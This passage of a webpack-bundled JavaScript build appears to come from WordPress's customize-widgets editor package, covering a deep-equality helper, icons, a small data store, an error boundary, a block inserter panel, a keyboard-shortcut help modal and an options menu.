1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ var __webpack_modules__ = ({
4
5/***/ 7734:
6/***/ ((module) => {
7
8
9
10// do not edit .js files directly - edit src/index.jst
11
12
13 var envHasBigInt64Array = typeof BigInt64Array !== 'undefined';
14
15
16module.exports = function equal(a, b) {
17 if (a === b) return true;
18
19 if (a && b && typeof a == 'object' && typeof b == 'object') {
20 if (a.constructor !== b.constructor) return false;
21
22 var length, i, keys;
23 if (Array.isArray(a)) {
24 length = a.length;
25 if (length != b.length) return false;
26 for (i = length; i-- !== 0;)
27 if (!equal(a[i], b[i])) return false;
28 return true;
29 }
30
31
32 if ((a instanceof Map) && (b instanceof Map)) {
33 if (a.size !== b.size) return false;
34 for (i of a.entries())
35 if (!b.has(i[0])) return false;
36 for (i of a.entries())
37 if (!equal(i[1], b.get(i[0]))) return false;
38 return true;
39 }
40
41 if ((a instanceof Set) && (b instanceof Set)) {
42 if (a.size !== b.size) return false;
43 for (i of a.entries())
44 if (!b.has(i[0])) return false;
45 return true;
46 }
47
48 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
49 length = a.length;
50 if (length != b.length) return false;
51 for (i = length; i-- !== 0;)
52 if (a[i] !== b[i]) return false;
53 return true;
54 }
55
56
57 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
58 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
59 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
60
61 keys = Object.keys(a);
62 length = keys.length;
63 if (length !== Object.keys(b).length) return false;
64
65 for (i = length; i-- !== 0;)
66 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
67
68 for (i = length; i-- !== 0;) {
69 var key = keys[i];
70
71 if (!equal(a[key], b[key])) return false;
72 }
73
74 return true;
75 }
76
77 // true if both NaN, false otherwise
78 return a!==a && b!==b;
79};
80
81
82/***/ })
83
84/******/ });
85/************************************************************************/
86/******/ // The module cache
87/******/ var __webpack_module_cache__ = {};
88/******/
89/******/ // The require function
90/******/ function __webpack_require__(moduleId) {
91/******/ // Check if module is in cache
92/******/ var cachedModule = __webpack_module_cache__[moduleId];
93/******/ if (cachedModule !== undefined) {
94/******/ return cachedModule.exports;
95/******/ }
96/******/ // Create a new module (and put it into the cache)
97/******/ var module = __webpack_module_cache__[moduleId] = {
98/******/ // no module.id needed
99/******/ // no module.loaded needed
100/******/ exports: {}
101/******/ };
102/******/
103/******/ // Execute the module function
104/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
105/******/
106/******/ // Return the exports of the module
107/******/ return module.exports;
108/******/ }
109/******/
110/************************************************************************/
111/******/ /* webpack/runtime/compat get default export */
112/******/ (() => {
113/******/ // getDefaultExport function for compatibility with non-harmony modules
114/******/ __webpack_require__.n = (module) => {
115/******/ var getter = module && module.__esModule ?
116/******/ () => (module['default']) :
117/******/ () => (module);
118/******/ __webpack_require__.d(getter, { a: getter });
119/******/ return getter;
120/******/ };
121/******/ })();
122/******/
123/******/ /* webpack/runtime/define property getters */
124/******/ (() => {
125/******/ // define getter functions for harmony exports
126/******/ __webpack_require__.d = (exports, definition) => {
127/******/ for(var key in definition) {
128/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
129/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
130/******/ }
131/******/ }
132/******/ };
133/******/ })();
134/******/
135/******/ /* webpack/runtime/hasOwnProperty shorthand */
136/******/ (() => {
137/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
138/******/ })();
139/******/
140/******/ /* webpack/runtime/make namespace object */
141/******/ (() => {
142/******/ // define __esModule on exports
143/******/ __webpack_require__.r = (exports) => {
144/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
145/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
146/******/ }
147/******/ Object.defineProperty(exports, '__esModule', { value: true });
148/******/ };
149/******/ })();
150/******/
151/************************************************************************/
152var __webpack_exports__ = {};
153// ESM COMPAT FLAG
154__webpack_require__.r(__webpack_exports__);
155
156// EXPORTS
157__webpack_require__.d(__webpack_exports__, {
158 initialize: () => (/* binding */ initialize),
159 store: () => (/* reexport */ store)
160});
161
162// NAMESPACE OBJECT: ./node_modules/@wordpress/customize-widgets/build-module/store/selectors.js
163var selectors_namespaceObject = {};
164__webpack_require__.r(selectors_namespaceObject);
165__webpack_require__.d(selectors_namespaceObject, {
166 __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
167 isInserterOpened: () => (isInserterOpened)
168});
169
170// NAMESPACE OBJECT: ./node_modules/@wordpress/customize-widgets/build-module/store/actions.js
171var actions_namespaceObject = {};
172__webpack_require__.r(actions_namespaceObject);
173__webpack_require__.d(actions_namespaceObject, {
174 setIsInserterOpened: () => (setIsInserterOpened)
175});
176
177;// external "ReactJSXRuntime"
178const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
179;// external ["wp","element"]
180const external_wp_element_namespaceObject = window["wp"]["element"];
181;// external ["wp","blockLibrary"]
182const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
183;// external ["wp","widgets"]
184const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
185;// external ["wp","blocks"]
186const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
187;// external ["wp","data"]
188const external_wp_data_namespaceObject = window["wp"]["data"];
189;// external ["wp","preferences"]
190const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
191;// external ["wp","components"]
192const external_wp_components_namespaceObject = window["wp"]["components"];
193;// external ["wp","i18n"]
194const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
195;// external ["wp","blockEditor"]
196const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
197;// external ["wp","compose"]
198const external_wp_compose_namespaceObject = window["wp"]["compose"];
199;// external ["wp","hooks"]
200const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
201;// ./node_modules/@wordpress/customize-widgets/build-module/components/error-boundary/index.js
202
203
204
205
206
207
208
209function CopyButton({ text, children }) {
210 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text);
211 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { size: "compact", variant: "secondary", ref, children });
212}
213class ErrorBoundary extends external_wp_element_namespaceObject.Component {
214 constructor() {
215 super(...arguments);
216 this.state = {
217 error: null
218 };
219 }
220 componentDidCatch(error) {
221 this.setState({ error });
222 (0,external_wp_hooks_namespaceObject.doAction)("editor.ErrorBoundary.errorLogged", error);
223 }
224 render() {
225 const { error } = this.state;
226 if (!error) {
227 return this.props.children;
228 }
229 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
230 external_wp_blockEditor_namespaceObject.Warning,
231 {
232 className: "customize-widgets-error-boundary",
233 actions: [
234 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, { text: error.stack, children: (0,external_wp_i18n_namespaceObject.__)("Copy Error") }, "copy-error")
235 ],
236 children: (0,external_wp_i18n_namespaceObject.__)("The editor has encountered an unexpected error.")
237 }
238 );
239 }
240}
241
242
243;// external ["wp","coreData"]
244const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
245;// external ["wp","mediaUtils"]
246const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
247;// ./node_modules/@wordpress/customize-widgets/build-module/components/block-inspector-button/index.js
248
249
250
251
252
253
254function BlockInspectorButton({ inspector, closeMenu, ...props }) {
255 const selectedBlockClientId = (0,external_wp_data_namespaceObject.useSelect)(
256 (select) => select(external_wp_blockEditor_namespaceObject.store).getSelectedBlockClientId(),
257 []
258 );
259 const selectedBlock = (0,external_wp_element_namespaceObject.useMemo)(
260 () => document.getElementById(`block-${selectedBlockClientId}`),
261 [selectedBlockClientId]
262 );
263 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
264 external_wp_components_namespaceObject.MenuItem,
265 {
266 onClick: () => {
267 inspector.open({
268 returnFocusWhenClose: selectedBlock
269 });
270 closeMenu();
271 },
272 ...props,
273 children: (0,external_wp_i18n_namespaceObject.__)("Show more settings")
274 }
275 );
276}
277var block_inspector_button_default = BlockInspectorButton;
278
279
280;// ./node_modules/clsx/dist/clsx.mjs
281function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
282;// external ["wp","keycodes"]
283const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
284;// external ["wp","primitives"]
285const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
286;// ./node_modules/@wordpress/icons/build-module/library/undo.js
287
288
289var undo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" }) });
290
291
292;// ./node_modules/@wordpress/icons/build-module/library/redo.js
293
294
295var redo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" }) });
296
297
298;// ./node_modules/@wordpress/icons/build-module/library/plus.js
299
300
301var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
302
303
304;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
305
306
307var close_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
308
309
310;// ./node_modules/@wordpress/customize-widgets/build-module/store/reducer.js
311
312function blockInserterPanel(state = false, action) {
313 switch (action.type) {
314 case "SET_IS_INSERTER_OPENED":
315 return action.value;
316 }
317 return state;
318}
319var reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
320 blockInserterPanel
321});
322
323
324;// ./node_modules/@wordpress/customize-widgets/build-module/store/selectors.js
325const EMPTY_INSERTION_POINT = {
326 rootClientId: void 0,
327 insertionIndex: void 0
328};
329function isInserterOpened(state) {
330 return !!state.blockInserterPanel;
331}
332function __experimentalGetInsertionPoint(state) {
333 if (typeof state.blockInserterPanel === "boolean") {
334 return EMPTY_INSERTION_POINT;
335 }
336 return state.blockInserterPanel;
337}
338
339
340;// ./node_modules/@wordpress/customize-widgets/build-module/store/actions.js
341function setIsInserterOpened(value) {
342 return {
343 type: "SET_IS_INSERTER_OPENED",
344 value
345 };
346}
347
348
349;// ./node_modules/@wordpress/customize-widgets/build-module/store/constants.js
350const STORE_NAME = "core/customize-widgets";
351
352
353;// ./node_modules/@wordpress/customize-widgets/build-module/store/index.js
354
355
356
357
358
359const storeConfig = {
360 reducer: reducer_default,
361 selectors: selectors_namespaceObject,
362 actions: actions_namespaceObject
363};
364const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig);
365(0,external_wp_data_namespaceObject.register)(store);
366
367
368;// ./node_modules/@wordpress/customize-widgets/build-module/components/inserter/index.js
369
370
371
372
373
374
375
376
377function Inserter({ setIsOpened }) {
378 const inserterTitleId = (0,external_wp_compose_namespaceObject.useInstanceId)(
379 Inserter,
380 "customize-widget-layout__inserter-panel-title"
381 );
382 const insertionPoint = (0,external_wp_data_namespaceObject.useSelect)(
383 (select) => select(store).__experimentalGetInsertionPoint(),
384 []
385 );
386 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
387 "div",
388 {
389 className: "customize-widgets-layout__inserter-panel",
390 "aria-labelledby": inserterTitleId,
391 children: [
392 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "customize-widgets-layout__inserter-panel-header", children: [
393 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
394 "h2",
395 {
396 id: inserterTitleId,
397 className: "customize-widgets-layout__inserter-panel-header-title",
398 children: (0,external_wp_i18n_namespaceObject.__)("Add a block")
399 }
400 ),
401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
402 external_wp_components_namespaceObject.Button,
403 {
404 size: "small",
405 icon: close_small_default,
406 onClick: () => setIsOpened(false),
407 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Close inserter")
408 }
409 )
410 ] }),
411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "customize-widgets-layout__inserter-panel-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
412 external_wp_blockEditor_namespaceObject.__experimentalLibrary,
413 {
414 rootClientId: insertionPoint.rootClientId,
415 __experimentalInsertionIndex: insertionPoint.insertionIndex,
416 showInserterHelpPanel: true,
417 onSelect: () => setIsOpened(false)
418 }
419 ) })
420 ]
421 }
422 );
423}
424var inserter_default = Inserter;
425
426
427;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
428
429
430var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
431
432
433;// ./node_modules/@wordpress/icons/build-module/library/external.js
434
435
436var external_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });
437
438
439;// external ["wp","keyboardShortcuts"]
440const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
441;// ./node_modules/@wordpress/customize-widgets/build-module/components/keyboard-shortcut-help-modal/config.js
442
443const textFormattingShortcuts = [
444 {
445 keyCombination: { modifier: "primary", character: "b" },
446 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text bold.")
447 },
448 {
449 keyCombination: { modifier: "primary", character: "i" },
450 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text italic.")
451 },
452 {
453 keyCombination: { modifier: "primary", character: "k" },
454 description: (0,external_wp_i18n_namespaceObject.__)("Convert the selected text into a link.")
455 },
456 {
457 keyCombination: { modifier: "primaryShift", character: "k" },
458 description: (0,external_wp_i18n_namespaceObject.__)("Remove a link.")
459 },
460 {
461 keyCombination: { character: "[[" },
462 description: (0,external_wp_i18n_namespaceObject.__)("Insert a link to a post or page.")
463 },
464 {
465 keyCombination: { modifier: "primary", character: "u" },
466 description: (0,external_wp_i18n_namespaceObject.__)("Underline the selected text.")
467 },
468 {
469 keyCombination: { modifier: "access", character: "d" },
470 description: (0,external_wp_i18n_namespaceObject.__)("Strikethrough the selected text.")
471 },
472 {
473 keyCombination: { modifier: "access", character: "x" },
474 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text inline code.")
475 },
476 {
477 keyCombination: {
478 modifier: "access",
479 character: "0"
480 },
481 aliases: [
482 {
483 modifier: "access",
484 character: "7"
485 }
486 ],
487 description: (0,external_wp_i18n_namespaceObject.__)("Convert the current heading to a paragraph.")
488 },
489 {
490 keyCombination: { modifier: "access", character: "1-6" },
491 description: (0,external_wp_i18n_namespaceObject.__)(
492 "Convert the current paragraph or heading to a heading of level 1 to 6."
493 )
494 },
495 {
496 keyCombination: { modifier: "primaryShift", character: "SPACE" },
497 description: (0,external_wp_i18n_namespaceObject.__)("Add non breaking space.")
498 }
499];
500
501
502;// ./node_modules/@wordpress/customize-widgets/build-module/components/keyboard-shortcut-help-modal/shortcut.js
503
504
505
506function KeyCombination({ keyCombination, forceAriaLabel }) {
507 const shortcut = keyCombination.modifier ? external_wp_keycodes_namespaceObject.displayShortcutList[keyCombination.modifier](
508 keyCombination.character
509 ) : keyCombination.character;
510 const ariaLabel = keyCombination.modifier ? external_wp_keycodes_namespaceObject.shortcutAriaLabel[keyCombination.modifier](
511 keyCombination.character
512 ) : keyCombination.character;
513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
514 "kbd",
515 {
516 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination",
517 "aria-label": forceAriaLabel || ariaLabel,
518 children: (Array.isArray(shortcut) ? shortcut : [shortcut]).map(
519 (character, index) => {
520 if (character === "+") {
521 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: character }, index);
522 }
523 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
524 "kbd",
525 {
526 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-key",
527 children: character
528 },
529 index
530 );
531 }
532 )
533 }
534 );
535}
536function Shortcut({ description, keyCombination, aliases = [], ariaLabel }) {
537 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
538 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-description", children: description }),
539 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-term", children: [
540 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
541 KeyCombination,
542 {
543 keyCombination,
544 forceAriaLabel: ariaLabel
545 }
546 ),
547 aliases.map((alias, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
548 KeyCombination,
549 {
550 keyCombination: alias,
551 forceAriaLabel: ariaLabel
552 },
553 index
554 ))
555 ] })
556 ] });
557}
558var shortcut_default = Shortcut;
559
560
561;// ./node_modules/@wordpress/customize-widgets/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.js
562
563
564
565
566function DynamicShortcut({ name }) {
567 const { keyCombination, description, aliases } = (0,external_wp_data_namespaceObject.useSelect)(
568 (select) => {
569 const {
570 getShortcutKeyCombination,
571 getShortcutDescription,
572 getShortcutAliases
573 } = select(external_wp_keyboardShortcuts_namespaceObject.store);
574 return {
575 keyCombination: getShortcutKeyCombination(name),
576 aliases: getShortcutAliases(name),
577 description: getShortcutDescription(name)
578 };
579 },
580 [name]
581 );
582 if (!keyCombination) {
583 return null;
584 }
585 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
586 shortcut_default,
587 {
588 keyCombination,
589 description,
590 aliases
591 }
592 );
593}
594var dynamic_shortcut_default = DynamicShortcut;
595
596
597;// ./node_modules/@wordpress/customize-widgets/build-module/components/keyboard-shortcut-help-modal/index.js
598
599
600
601
602
603
604
605
606
607
608const ShortcutList = ({ shortcuts }) => (
609 /*
610 * Disable reason: The `list` ARIA role is redundant but
611 * Safari+VoiceOver won't announce the list otherwise.
612 */
613 /* eslint-disable jsx-a11y/no-redundant-roles */
614 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
615 "ul",
616 {
617 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-list",
618 role: "list",
619 children: shortcuts.map((shortcut, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
620 "li",
621 {
622 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut",
623 children: typeof shortcut === "string" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dynamic_shortcut_default, { name: shortcut }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shortcut_default, { ...shortcut })
624 },
625 index
626 ))
627 }
628 )
629);
630const ShortcutSection = ({ title, shortcuts, className }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
631 "section",
632 {
633 className: dist_clsx(
634 "customize-widgets-keyboard-shortcut-help-modal__section",
635 className
636 ),
637 children: [
638 !!title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "customize-widgets-keyboard-shortcut-help-modal__section-title", children: title }),
639 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutList, { shortcuts })
640 ]
641 }
642);
643const ShortcutCategorySection = ({
644 title,
645 categoryName,
646 additionalShortcuts = []
647}) => {
648 const categoryShortcuts = (0,external_wp_data_namespaceObject.useSelect)(
649 (select) => {
650 return select(external_wp_keyboardShortcuts_namespaceObject.store).getCategoryShortcuts(
651 categoryName
652 );
653 },
654 [categoryName]
655 );
656 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
657 ShortcutSection,
658 {
659 title,
660 shortcuts: categoryShortcuts.concat(additionalShortcuts)
661 }
662 );
663};
664function KeyboardShortcutHelpModal({
665 isModalActive,
666 toggleModal
667}) {
668 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
669 (0,external_wp_element_namespaceObject.useEffect)(() => {
670 registerShortcut({
671 name: "core/customize-widgets/keyboard-shortcuts",
672 category: "main",
673 description: (0,external_wp_i18n_namespaceObject.__)("Display these keyboard shortcuts."),
674 keyCombination: {
675 modifier: "access",
676 character: "h"
677 }
678 });
679 }, [registerShortcut]);
680 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/customize-widgets/keyboard-shortcuts", toggleModal);
681 if (!isModalActive) {
682 return null;
683 }
684 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
685 external_wp_components_namespaceObject.Modal,
686 {
687 className: "customize-widgets-keyboard-shortcut-help-modal",
688 title: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts"),
689 onRequestClose: toggleModal,
690 children: [
691 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
692 ShortcutSection,
693 {
694 className: "customize-widgets-keyboard-shortcut-help-modal__main-shortcuts",
695 shortcuts: ["core/customize-widgets/keyboard-shortcuts"]
696 }
697 ),
698 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
699 ShortcutCategorySection,
700 {
701 title: (0,external_wp_i18n_namespaceObject.__)("Global shortcuts"),
702 categoryName: "global"
703 }
704 ),
705 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
706 ShortcutCategorySection,
707 {
708 title: (0,external_wp_i18n_namespaceObject.__)("Selection shortcuts"),
709 categoryName: "selection"
710 }
711 ),
712 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
713 ShortcutCategorySection,
714 {
715 title: (0,external_wp_i18n_namespaceObject.__)("Block shortcuts"),
716 categoryName: "block",
717 additionalShortcuts: [
718 {
719 keyCombination: { character: "/" },
720 description: (0,external_wp_i18n_namespaceObject.__)(
721 "Change the block type after adding a new paragraph."
722 ),
723 /* translators: The forward-slash character. e.g. '/'. */
724 ariaLabel: (0,external_wp_i18n_namespaceObject.__)("Forward-slash")
725 }
726 ]
727 }
728 ),
729 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
730 ShortcutSection,
731 {
732 title: (0,external_wp_i18n_namespaceObject.__)("Text formatting"),
733 shortcuts: textFormattingShortcuts
734 }
735 )
736 ]
737 }
738 );
739}
740
741
742;// ./node_modules/@wordpress/customize-widgets/build-module/components/more-menu/index.js
743
744
745
746
747
748
749
750
751
752function MoreMenu() {
753 const [
754 isKeyboardShortcutsModalActive,
755 setIsKeyboardShortcutsModalVisible
756 ] = (0,external_wp_element_namespaceObject.useState)(false);
757 const toggleKeyboardShortcutsModal = () => setIsKeyboardShortcutsModalVisible(!isKeyboardShortcutsModalActive);
758 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
759 "core/customize-widgets/keyboard-shortcuts",
760 toggleKeyboardShortcutsModal
761 );
762 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
763 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
764 external_wp_components_namespaceObject.ToolbarDropdownMenu,
765 {
766 icon: more_vertical_default,
767 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
768 popoverProps: {
769 placement: "bottom-end",
770 className: "more-menu-dropdown__content"
771 },
772 toggleProps: {
773 tooltipPosition: "bottom",
774 size: "compact"
775 },
776 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
777 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject._x)("View", "noun"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
778 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
779 {
780 scope: "core/customize-widgets",
781 name: "fixedToolbar",
782 label: (0,external_wp_i18n_namespaceObject.__)("Top toolbar"),
783 info: (0,external_wp_i18n_namespaceObject.__)(
784 "Access all block and document tools in a single place"
785 ),
786 messageActivated: (0,external_wp_i18n_namespaceObject.__)(
787 "Top toolbar activated"
788 ),
789 messageDeactivated: (0,external_wp_i18n_namespaceObject.__)(
790 "Top toolbar deactivated"
791 )
792 }
793 ) }),
794 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Tools"), children: [
795 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
796 external_wp_components_namespaceObject.MenuItem,
797 {
798 onClick: () => {
799 setIsKeyboardShortcutsModalVisible(true);
800 },
801 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.access("h"),
802 children: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts")
803 }
804 ),
805 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
806 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
807 {
808 scope: "core/customize-widgets",
809 name: "welcomeGuide",
810 label: (0,external_wp_i18n_namespaceObject.__)("Welcome Guide")
811 }
812 ),
813 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
814 external_wp_components_namespaceObject.MenuItem,
815 {
816 role: "menuitem",
817 icon: external_default,
818 href: (0,external_wp_i18n_namespaceObject.__)(
819 "https://wordpress.org/documentation/article/block-based-widgets-editor/"
820 ),
821 target: "_blank",
822 rel: "noopener noreferrer",
823 children: [
824 (0,external_wp_i18n_namespaceObject.__)("Help"),
825 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
826 as: "span",
827 /* translators: accessibility text */
828 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
829 })
830 ]
831 }
832 )
833 ] }),
